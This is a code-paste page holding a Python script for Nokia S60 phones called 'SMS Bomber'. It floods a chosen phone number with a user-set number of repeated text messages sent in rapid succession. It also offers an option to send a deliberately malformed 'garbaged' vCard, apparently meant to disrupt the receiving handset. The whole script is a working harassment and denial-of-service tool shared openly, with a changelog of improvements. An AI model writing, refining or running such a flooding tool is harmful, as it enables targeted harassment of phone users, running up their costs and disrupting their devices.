[ create a new paste ] login | about

Link: http://codepad.org/PFyWzUtu    [ raw code | fork ]

Python, pasted on Dec 24:
# SMS Bomber Python 00.08.03
# By Sevenstring
# Tested with S60v3
# Rev:
#   00.08.00
#       - First Release (Alpha)
#   00.08.01
#       - Minimized delay
#   00.08.02
#       - When no signal, it aborts and displays a message that Signal is not found
#       - If sending is failed, it asks the user to continue or not
#   00.08.03
#       - Added garbaged Vcard option



import appuifw
import contacts
import e32
import messaging
import sysinfo

###############################
####### DEFINITIONS ###########
###############################

#app=appuifw

#input field types
STR_TEXT="text"
STR_NUMBER="number"
STR_DATE="date"
STR_QUERY="query"
STR_CODE="code"
STR_FLOAT="float"

#appuifw.note types
STR_INFO="info"
STR_ERROR="error"
STR_CONF="conf"

#multi-selection list types
STR_CHECKBOX="checkbox"
STR_CHECKMARK="checkmark"

#screen sizes
STR_NORMAL='normal' #(a normal screen with title pane and softkeys)
STR_LARGE='large' #(only softkeys visible)
STR_FULL='full' #(a full screen)

#boolean
STR_TRUE=True
STR_FALSE=False


###############################
###############################
###############################


STR_APP_TITLE=u"SMS Bomber 00.08.03"

running=STR_TRUE


#########################################################
class SMSBomber:
    __Done=STR_FALSE
    __State=messaging.ESendFailed
    
    def SendSMS(self,strNumber,strMessage):
        self.__Done=STR_FALSE
        messaging.sms_send(strNumber,strMessage,'7bit',self.__SMSCallBack)
        ###wait until not done
        while(self.__Done==STR_FALSE):
            e32.ao_sleep(0.05) # adjust this as needed

        
    def __SMSCallBack(self,state):
        if(state==messaging.ESent):
            self.__Done=STR_TRUE
            self.__State=state
        elif(state==messaging.ESendFailed):
            self.__Done=STR_TRUE
            self.__State=state
        
            
    def GetMessageSendingState(self):
        return self.__State
        
#########################################################

def GenerateGarbageString():
    #myString='//SCKE2 BEGIN:VCARD\nVERSION:2.1\nN: SMS Bomber\nTEL:+0920666\nEND: VCARD'
    myString='//SCKE2 BEGIN:VCARD\nVERSION:6.6\nNg: Esimerkki Erkki\nTELg:+358401234567\nEND: VCARD'
    return myString


def quit():
  global running
  running=STR_FALSE




appuifw.note(STR_APP_TITLE + u"\nBy:7",STR_INFO)    

strCellNo=appuifw.query(u"Enter Cell No.",STR_TEXT)
if (strCellNo):
  strMessage=None
  boolGarbage=appuifw.query(u"Create Garbaged vCard?",STR_QUERY)
  if (boolGarbage):
    strMessage=GenerateGarbageString()
  else:
    strMessage=appuifw.query(u"Enter Message:",STR_TEXT)

  if(strMessage):
    intSendingCount=appuifw.query(u"Enter Number of Times to be Sent:",STR_NUMBER,1)
    if(intSendingCount):
      running=STR_TRUE
      appuifw.app.exit_key_handler=quit
      appuifw.app.screen=STR_LARGE
      appuifw.app.title = STR_APP_TITLE
      app_body = appuifw.Text()
      app_body.set(u'===SMS Bomber Started===\n')
      #strMessage=GenerateGarbageString() # TODO TANGGAL
      #stringTemp=u"Sending to:%s\nMessage:\n%s \nRepetition: %d\n" % (strCellNo,strMessage,intSendingCount)
      stringTemp=u"Sending to:\n%s \nRepetition: %d\n" % (strCellNo,intSendingCount)
      app_body.add(stringTemp)
      app_body.add(u'=======\n')
      appuifw.app.body= app_body
      ctr=1
      smsBomber=SMSBomber()
      while running and (ctr <= intSendingCount):
        if(sysinfo.signal_bars()==0):
            appuifw.note(u"No Signal! Exiting...",STR_ERROR)
            break
      
        smsBomber.SendSMS(strCellNo,strMessage)
        #messaging.sms_send(strCellNo,strMessage)
        sendingstate=smsBomber.GetMessageSendingState()
        
        if(sendingstate==messaging.ESent):
            app_body.add(u"SMS #" + str(ctr) + u" Sent!\n")
        elif(sendingstate==messaging.ESendFailed):
            boolQuery=appuifw.query(u"Message Failed! Exit?",STR_QUERY)
            if(boolQuery):
                break
        
        #app_body.add(u"SMS #" + str(ctr) + u" Sent!\n")
        ctr=ctr+1
        e32.ao_sleep(0.05) # adjust this as needed
      appuifw.note(u"Done!",STR_INFO)
print 'Done'


Create a new paste based on this one


Comments: